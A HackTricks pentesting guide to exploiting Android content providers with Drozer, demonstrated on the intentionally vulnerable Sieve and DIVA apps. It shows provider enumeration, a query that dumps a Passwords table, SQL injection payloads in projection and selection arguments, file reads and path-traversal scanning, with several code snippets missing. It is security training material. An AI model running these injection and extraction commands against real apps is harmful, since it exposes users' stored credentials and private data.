Exploiting Content Providers - HackTricks

# Exploiting Content Providers

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Intro

Data is supplied from one application to others on request by a component known as a content provider. These requests are managed through the ContentResolver class methods. Content providers can store their data in various locations, such as a database, files, or over a network.

In the Manifest.xml file, the declaration of the content provider is required. For instance:

    <provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
        <path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
    </provider>

To access `content://com.mwr.example.sieve.DBContentProvider/Keys`, the `READ_KEYS` permission is necessary. It's interesting to note that the path `/Keys/` is accessible in the following section, which is not protected due to a mistake by the developer, who secured `/Keys` but declared `/Keys/`.

Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).

## Get info from exposed content providers

    dz> run app.provider.info -a com.mwr.example.sieve
      Package: com.mwr.example.sieve
      Authority: com.mwr.example.sieve.DBContentProvider
      Read Permission: null
      Write Permission: null
      Content Provider: com.mwr.example.sieve.DBContentProvider
      Multiprocess Allowed: True
      Grant Uri Permissions: False
      Path Permissions:
      Path: /Keys
      Type: PATTERN_LITERAL
      Read Permission: com.mwr.example.sieve.READ_KEYS
      Write Permission: com.mwr.example.sieve.WRITE_KEYS
      Authority: com.mwr.example.sieve.FileBackupProvider
      Read Permission: null
      Write Permission: null
      Content Provider: com.mwr.example.sieve.FileBackupProvider
      Multiprocess Allowed: True
      Grant Uri Permissions: False

It's possible to piece together how to reach the DBContentProvider by starting URIs with “content://”. This approach is based on insights gained from using Drozer, where key information was located in the /Keys directory.

Drozer can guess and try several URIs:

    dz> run scanner.provider.finduris -a com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    Unable to Query content://com.mwr.example.sieve.DBContentProvider/
    ...
    Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
    Accessible content URIs:
    content://com.mwr.example.sieve.DBContentProvider/Keys/
    content://com.mwr.example.sieve.DBContentProvider/Passwords
    content://com.mwr.example.sieve.DBContentProvider/Passwords/

You should also check the ContentProvider code to search for queries:

Also, if you can't find full queries you could check which names are declared by the ContentProvider on the `onCreate` method:

The query will be like: `content://name.of.package.class/declared_name`

## Database-backed Content Providers

Probably most of the Content Providers are used as interface for a database. Therefore, if you can access it you could be able to extract, update, insert and delete information.
Check if you can access sensitive information or try to change it to bypass authorisation mechanisms.

When checking the code of the Content Provider look also for functions named like: query, insert, update and delete:

Because you will be able to call them

### Query content

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
    _id: 1
    service: Email
    username: incognitoguy50
    password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
    -
    email: incognitoguy50@gmail.com

### Insert content

Quering the database you will learn the name of the columns, then, you could be able to insert data in the DB:

Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean

### Update content

Knowing the name of the columns you could also modify the entries:

### Delete content

### SQL Injection

It is simple to test for SQL injection (SQLite) by manipulating the projection and selection fields that are passed to the content provider.
When quering the Content Provider there are 2 interesting arguments to search for information: --selection and --projection:

You can try to abuse this parameters to test for SQL injections:

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
    unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
    FROM SQLITE_MASTER WHERE type='table';--"
    | type  | name             | tbl_name         | rootpage | sql              |
    | table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
    | table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Automatic SQLInjection discovery by Drozer

    dz> run scanner.provider.injection -a com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    Injection in Projection:
      content://com.mwr.example.sieve.DBContentProvider/Keys/
      content://com.mwr.example.sieve.DBContentProvider/Passwords
      content://com.mwr.example.sieve.DBContentProvider/Passwords/
    Injection in Selection:
      content://com.mwr.example.sieve.DBContentProvider/Keys/
      content://com.mwr.example.sieve.DBContentProvider/Passwords
      content://com.mwr.example.sieve.DBContentProvider/Passwords/

    dz> run scanner.provider.sqltables -a jakhar.aseem.diva
    Scanning jakhar.aseem.diva...
    Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
      android_metadata
      notes
      sqlite_sequence

## File System-backed Content Providers

Content providers could be also used to access files:

### Read file

You can read files from the Content Provider

    dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
    127.0.0.1            localhost

### Path Traversal

If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "../" and similar tricks).

    dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
    127.0.0.1            localhost

Automatic Path Traversal discovery by Drozer

    dz> run scanner.provider.traversal -a com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    Vulnerable Providers:
      content://com.mwr.example.sieve.FileBackupProvider/
      content://com.mwr.example.sieve.FileBackupProvider

## References

- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
- https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.